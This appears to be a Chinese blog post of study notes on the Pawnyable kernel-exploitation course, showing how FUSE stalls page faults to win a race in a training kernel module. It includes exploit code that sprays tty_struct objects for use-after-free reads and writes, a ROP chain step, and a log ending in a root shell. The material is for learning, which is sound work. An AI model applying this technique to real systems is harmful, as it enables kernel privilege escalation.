前言

Pawnyable是一个由ptrYudai开发的Linux内核漏洞利用的入门教程。在这个教程中,作者设计了存在漏洞的Linux内核模块,并结合这些内核模块依次介绍了内核漏洞研究的环境搭建及调试方法、堆栈溢出、释放后重用(use after free,简称UAF)、竞态条件(race condition)、空指针解引用(NULL pointer dereference)、双取(double fetch)等多种漏洞类型,和滥用userfaultfd、滥用FUSE等漏洞利用方法。虽然该系列教程全部使用日语,我们可以使用Google翻译提供的网站动态翻译功能来阅读该教程的中文版本英文版本

“Linux Kernel PWN | 04”系列文章是我针对此教程的学习笔记,文章结构与原教程基本保持一致,也会补充一些学习过程中获得的额外知识。我们在《Linux Kernel PWN | 0401 Pawnyable学习笔记》中介绍了Linux内核漏洞利用的基础知识、环境搭建和调试的方法;在《Linux Kernel PWN | 040201 Pawnyable之栈溢出》中依次讨论了在开启不同安全机制的情况下内核栈溢出漏洞的利用方法;在《Linux Kernel PWN | 040202 Pawnyable之堆溢出》中介绍了内核堆溢出漏洞的利用方法;在《Linux Kernel PWN | 040203 Pawnyable之UAF》中介绍了内核UAF漏洞的利用方法;在《Linux Kernel PWN | 040204 Pawnyable之竞态条件》中介绍了内核竞态条件漏洞的利用方法;在《Linux Kernel PWN | 040302 Pawnyable之双取》中介绍了内核double fetch漏洞的利用方法;在《Linux Kernel PWN | 040303 Pawnyable之userfaultfd》中介绍了利用userfaultfd机制提高内核竞态条件漏洞利用成功率的方法。

本文是课程第三部分“针对内核空间的攻击”第四小节的笔记,将讨论基于FUSE的漏洞利用方法。下文使用的漏洞环境与userfaultfd篇同为LK04

我们已经在上一个课程中分析过了题目涉及的漏洞模块,因此本文不再给出针对该漏洞模块的分析。简单来说,题目环境存在一个竞态条件漏洞。上一节中,我们借助userfaultfd机制实现了较为稳定的漏洞利用,将其转化为UAF,从而提升权限。然而,对于攻击者来说,userfaultfd机制目前存在两个限制:

  1. 默认情况下,非特权用户不能使用该机制
  2. 即使非特权用户能够使用该机制,在没有特权的情况下,内核空间的缺页异常也无法被捕获

因此,本文将利用另一种机制来替代userfaultfd,实现同一环境的漏洞利用,它就是FUSE。

1. FUSE简介

最近ChatGPT很火,我们请它写一段话介绍一下FUSE及FUSE编程方法:

Linux FUSE(Filesystem in Userspace)是一个Linux内核模块,允许用户空间程序通过系统调用接口来实现文件系统。FUSE允许开发人员在用户空间而不是内核空间中编写文件系统,这样就可以更轻松地开发、测试和调试文件系统,而无需修改内核代码。

FUSE编程通常包括以下步骤:

  1. 安装FUSE库和头文件:在开发FUSE文件系统之前,需要先安装FUSE库和头文件。这可以通过操作系统自带的包管理器来完成。
  2. 编写文件系统代码:FUSE编程需要实现一系列文件系统函数,这些函数将接收并处理系统调用。FUSE提供了一个标准的C库来简化这些函数的实现。
  3. 编译和运行文件系统:在文件系统代码完成后,需要使用编译器将其编译成可执行文件。FUSE文件系统可以通过在终端中运行它来挂载。
  4. 测试和调试文件系统:当文件系统运行后,可以使用常规的文件操作(如读、写和删除文件)来测试文件系统的功能。如果发现问题,可以使用调试工具来跟踪并解决问题。

言简意赅,还不错,看来以后很多背景知识都可以让ChatGPT快速生成了。

另外,Linux内核文档维基百科Linux man pageLWN.net的文章都对FUSE进行了不同程度的介绍,感兴趣的朋友可以深入阅读以进一步了解。libfuse实现了Linux FUSE的用户空间API,方便程序开发。

fuse_example.c是一个FUSE的使用示例,可以编译运行它来学习FUSE的基本使用方法。编译命令稍微有些复杂:

gcc fuse_example.c -o fuse_example -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl

从上面的例子可以看出,FUSE编程的核心在于实现对应的文件操作方法,例如:

static int getattr_callback(const char *path, struct stat *stbuf) {
    memset(stbuf, 0, sizeof(struct stat));
    if (strcmp(path, "/file") == 0) {
        stbuf->st_mode = S_IFREG | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = strlen(content);
        return 0;
    }
    return -ENOENT;
}
static int read_callback(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
    if (strcmp(path, "/file") == 0) {
        size_t len = strlen(content);
        if (offset >= len) return 0;
        if ((size > len) || (offset + size > len)) {
            memcpy(buf, content + offset, len - offset);
            return len - offset;
        } else {
            memcpy(buf, content + offset, size);
            return size;
        }
    }
    return -ENOENT;
}

2. 基于FUSE的漏洞利用

了解了FUSE的概念和使用方法后,漏洞利用就相对简单了——基本的漏洞利用思路与上一篇几乎完全相同,不同点只是本篇用FUSE替换了userfaultfd来实现竞态状态的管理。具体来说,就是userfaultfd handler被替换成了FUSE文件操作的read callback函数。当缺页异常发生时,FUSE callback将被调用。

有一点需要明确——UAF read和UAF write对应的都是FUSE read_callback,这里并不需要write_callback。为什么呢?因为FUSE callback发生在文件访问过程,并不是内存页的访问过程。虽然漏洞内核模块对于用户空间内存页的访问是有读有写的,但是从引发缺页异常到FUSE callback处理,对于文件来说,它都是首先被读到内存页中。读和写只是针对内存页而言的。

下图同样来自Pawnyable官网,我重制了一下,比较准确地描述了我们利用FUSE实现的竞态逻辑控制到UAF read的阶段(红色线条代表全过程):

uaf_read_fuse

UAF write的流程与之类似,这里就不再给出了。大家可以结合上一篇中的图片和后文的ExP自行理解。

这里附上作者的ExP我在此基础上完成的ExP,核心部分如下:

static int read_callback(const char *path, char *file_buf, size_t size, off_t offset, struct fuse_file_info *fi) {
    // ...
        switch (fault_cnt++) {
        case 0:
        case 1:
            puts("[t][*] UAF read");
            del(victim);
            printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
            for (int i = 0; i < SPRAY_NUM; i++) {
                ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
                if (ptmx[i] == -1)
                    fatal("/dev/ptmx");
            }
            return size;
        case 2:
            puts("[t][*] UAF write");
            printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100);
            for (int i = 0; i < 0x100; i++)
                add(buf, 0x400);
            del(victim);
            printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
            for (int i = 0; i < SPRAY_NUM; i++) {
                ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
                if (ptmx[i] == -1)
                    fatal("/dev/ptmx");
            }
            memcpy(file_buf, buf, 0x400);
            return size;
    // ...
}

完成ExP,然后编译:

gcc exploit.c -o exploit -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl

接着在漏洞环境中运行,成功提权:

~ $ /exploit
[*] saving user land state
[*] set cpu affinity
[*] spawning a FUSE thread
[*] waiting for setup done
[t][*] setting up FUSE
[t][*] set cpu affinity
[t][*] waiting for page fault
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page
[t][+] getattr_callback
[t][+] open_callback
[+] mmap /tmp/test/pwn at 0x7f024856e000
[t][+] read_callback
	path: /pwn
	size: 0x1000
	offset: 0x0
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] closing /tmp/test/pwn to reopen it
[t][+] open_callback
[+] mmap /tmp/test/pwn at 0x7f024854b000
[*] reading 0x400 bytes from victim blob to page
[t][+] read_callback
	path: /pwn
	size: 0x1000
	offset: 0x0
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffffbac00000, kheap: 0xffff8e54c1cec400
[*] crafting fake tty_struct in buf
[*] crafting rop chain
[*] UAF#3 write rop chain
[*] closing /tmp/test/pwn to reopen it
[t][+] open_callback
[+] mmap /tmp/test/pwn at 0x7f024854a000
[t][+] read_callback
	path: /pwn
	size: 0x1000
	offset: 0x0
[t][*] UAF write
[t][*] spraying 256 fake tty_struct objects (blob)
[t][*] spraying 16 tty_struct objects
[*] invoking ioctl to hijack control flow
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)

总结

挺有意思的,如果往前追溯,我们可以发现FUSE已经是21世纪初的东西了。类似地,我们也经常能够发现某些漏洞已经被引入到内核一二十年了才被发现。那么,会不会有一些同样不那么新的机制也能够辅助攻击者进行漏洞利用呢?